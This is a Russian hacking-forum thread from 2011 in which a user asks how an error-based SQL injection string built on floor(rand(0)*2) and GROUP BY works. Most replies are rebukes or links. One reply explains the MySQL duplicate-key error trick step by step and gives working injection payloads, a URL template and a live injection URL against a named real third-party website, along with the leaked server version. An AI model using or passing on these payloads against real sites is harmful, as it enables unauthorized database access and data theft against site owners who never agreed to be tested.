проблема c sql

Discussion in 'Песочница' started by qaz, 24 Oct 2011.

Thread Status:
Not open for further replies.
  1. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75
    я уже спрашивал на форуме что значит етот запрос
    PHP:
    +or+1+group+by+concat((select+version()),floor(rand(0)*2))having+min(0)+or+1--+
    но никто так и не ответил, все ссылаются на какието ресурсы где обьяснением и подавно непахло, но всёже может хтонибуть может проследить ход моих мыслей и обьяснить.

    1)Первое што было непонятно ето +or+1+
    што вобще ето значит?

    я поробовал на хостинге выполнить ети запросы,
    вот к примеру

    PHP:
    SELECT  `user_mail`  FROM  `tableWHERE `id` = '12'  or 1
    етот запрос значит ,, вывести емеил бзера из таблици где id = 12 или 1,, чо ето за бред? правильно было бы

    PHP:
    SELECT  `user_mail`  FROM  `tableWHERE `id` = '12'  or `id`= 1

    при таком запросе
    PHP:
    SELECT  `user_mail`  FROM  `tableWHERE `id` = '12'  or 1
    у меня всегда выводило первую запись в таблице, я так догудуюсь што етот запрос означает ,,вывести то_то где id = 12 или первую запись,, или я не так понял?


    2) Поехали дальше
    min(0) насколько я знаю в скобках надо вводить название столбца, што означает там введение цифр???

    3)Далее ето floor(rand(0)*2) результатом такого уравнения будет ноль, но если подставить в запрос просто ноль то ничего не выйдет, почему? какую роль ето играет?


    4) ну и тд. также непойму зачем в конце +or+1--+ и зачем надо груперовать и собирать в одну строку я тоже не пойму group+by+concat

    вобщем буду очень презнателен если ктонибуть прольёт немного света на мой затемнелый разум
     
    1 person likes this.
  2. Slaid

    Slaid New Member

    Joined:
    6 Aug 2011
    Messages:
    4
    Likes Received:
    1
    Reputations:
    0
    sql inj кто-то пытался заюзать, при помоши вывода об ошибках
    в оригинале немного по другому

    floor(rand(0)*2) провоцирует ошибку =)
     
    1 person likes this.
  3. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,518
    Likes Received:
    401
    Reputations:
    196
    https://rdot.org/forum/showthread.php?t=503
     
    1 person likes this.
  4. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75
    там к сожалению нет ответа на мои вопросы
     
    #4 qaz, 25 Oct 2011
    Last edited: 25 Oct 2011
  5. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,518
    Likes Received:
    401
    Reputations:
    196
    да ну? Там как раз есть. Приглядись.
     
  6. Melfis

    Melfis Elder - Старейшина

    Joined:
    25 Apr 2011
    Messages:
    505
    Likes Received:
    105
    Reputations:
    53
    Д даж приглядываться не надо ) С километра видно.
     
    1 person likes this.
  7. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75
    бред,
    процетируй ответы на мои вопросы из заданой ссылки
     
  8. d1v

    d1v Elder - Старейшина

    Joined:
    21 Feb 2009
    Messages:
    676
    Likes Received:
    331
    Reputations:
    120
    если бы кто-то всё-таки опустился до такого уровня, чтобы ответить тебе на вопросы, то в последующем у тебя возникло ещё больше вопросов, которые ты в силу своих интеллектуальных способностей тоже задал бы здесь, а не попытался найти на них ответ самостоятельно. а от того, что ты услышишь ответы, не зная даже что такое mysql, мозгов у тебя не прибавиться, а скорее убудет, т.к. в последущем это будет прямой сигнал для твоего скудного набора нейронов о том, что тебе кто-то что-то должен и не даёт. от сюда все проблемы на ачате.
     
  9. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75
    я знаю mysql, не досконально, но основное знаю, не знал бы вопросы бы ваще не задавал
     
  10. d1v

    d1v Elder - Старейшина

    Joined:
    21 Feb 2009
    Messages:
    676
    Likes Received:
    331
    Reputations:
    120
    так в чём тогда проблема? открой документацию и прочитай, что делает тот или иной оператор.
     
  11. shell_c0de

    shell_c0de Hack All World

    Joined:
    7 Jul 2009
    Messages:
    1,155
    Likes Received:
    617
    Reputations:
    690
    https://forum.antichat.ru/showpost.php?p=407227&postcount=3
    вообще-то прочитай всю ветку сначала и многое поймешь сразу, не вижу тут все повторять и копипастить там все подробно описано по пунктам.
     
    _________________________
    1 person likes this.
  12. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75
    ну я и открывал

    вот возьмём к примеру етот вопрос
    PHP:
    2
     
    min(0насколько я знаю в скобках надо вводить название столбцашто означает там введение цифр???
    вот к примеру первое попавшиеся описание

    http://php.su/mysql/?commands

    PHP:
    Внутренние функции MINMAXAVGSUM

    При работе с оператором SELECT вам доступны несколько очень полезных внутренних функций MySQL
    вычисляющих колличество элементов (COUNT), сумму элементов (SUM), максимальное и минимальное значения (MAX и MIN), а также среднее значение (AVG).

    Следующие операторы выведутсоответственноколличество записей в таблице CLIENTSсамый дорогой товар и сумму цен всех товаров:

    SELECT COUNT(*)
     
    FROM CLIENTS;

    SELECT MAX(PRICE)
     
    FROM TOOLS;

    SELECT SUM(PRICE)
     
    FROM TOOLS;
    также как и в учебнике который я читал, подстовляются стольбцы, а о возможности подстоновки числа ноль и том что и откуда оно будет бывирать не сказано


    _______________________________________
     
    #12 qaz, 27 Dec 2011
    Last edited: 27 Dec 2011
  13. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75
    спасибо, ща почитаю
     
  14. Expl0ited

    Expl0ited Members of Antichat

    Joined:
    16 Jul 2010
    Messages:
    1,035
    Likes Received:
    534
    Reputations:
    935
    Вся соль пошла отсюда: http://bugs.mysql.com/bug.php?id=32249
    Где товарищ, Domas Mituzas, недоумевает, почему код
    PHP:
    mysqlselect count(*),floor(rand()*2x from grouptest1 group by x;
    возвращает, то верный результат, то тот же результат, но в обработчике ошибки:
    Проблема в том что group by проверяет выражение несколько раз, а rand() в свою очередь возвращает каждый раз разные значение. Цитата из мануала :
    Исходя из этого некто Qwazar (пруф ) решил попробовать конкатацию строк, для получения запрошенных данных в обработчике ошибки:
    PHP:
    select count(*),concat(version(),floor(rand()*2)) x from users group by x;
    После нескольких попыток выполнить этот запрос, выводится:
    #1062 - Duplicate entry '5.5.80' for key 'group_key'
    или
    #1062 - Duplicate entry '5.5.81' for key 'group_key'
    Дальше для упрощения(укорочения) запроса, concat(version(),floor(rand()*2)) перенеслась в group by и мы получаем:
    PHP:
    select count(*) from users group by(concat(version(),floor(rand()*2)));
    Результат:
    #1062 - Duplicate entry '5.5.80' for key 'group_key'
    или
    #1062 - Duplicate entry '5.5.81' for key 'group_key'

    К конструкции floor(rand(0)*2)) пришли исключительно методом тыка (если я конечно не ошибаюсь). И в итоге получился вектор, для вывода информации в ошибке mysql:
    PHP:
    select count(*) from users group by(concat(version(),floor(rand(0)*2)));
    Постоянный результат:
    #1062 - Duplicate entry '5.5.81' for key 'group_key'

    Для удобства можно избавится от лишнего символа 1 в конце результата, использованием 0x00 - нулевой байт
    PHP:
    select count(*) from users group by(concat(version(),0x00,floor(rand(0)*2)));
    Ну и уже в виде инъекции в запросе это может выглядеть так:
    Code:
    bug.php?id=10+and+(select+count(*)+from+table+group+by(concat(version(),0x00,floor(rand(0)*2))))--+
    PHP:
    SELECT idnews FROM content WHERE id 10 and (select count(*) from table group by(concat(version(),0x00,floor(rand(0)*2))))-- 
    И при условии если существует таблица table, то в ответе будет:
    #1062 - Duplicate entry '5.5.8' for key 'group_key'
    Живой пример:
    Code:
    http://www.forakom.ru/tree/index.php?brand_id=739&model_id=5533&engine_id=1005635+and(select+count(*)+from+tcdViews.v_ext_engines+group+by(concat(version(),0x00,floor(rand(0)*2))))--+
    Duplicate entry '5.0.67-log' for key 1

    Теперь наглядно?
     
    _________________________
    #14 Expl0ited, 27 Dec 2011
    Last edited: 27 Dec 2011
    5 people like this.
  15. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75
    да, спасибо большое)
     
Thread Status:
Not open for further replies.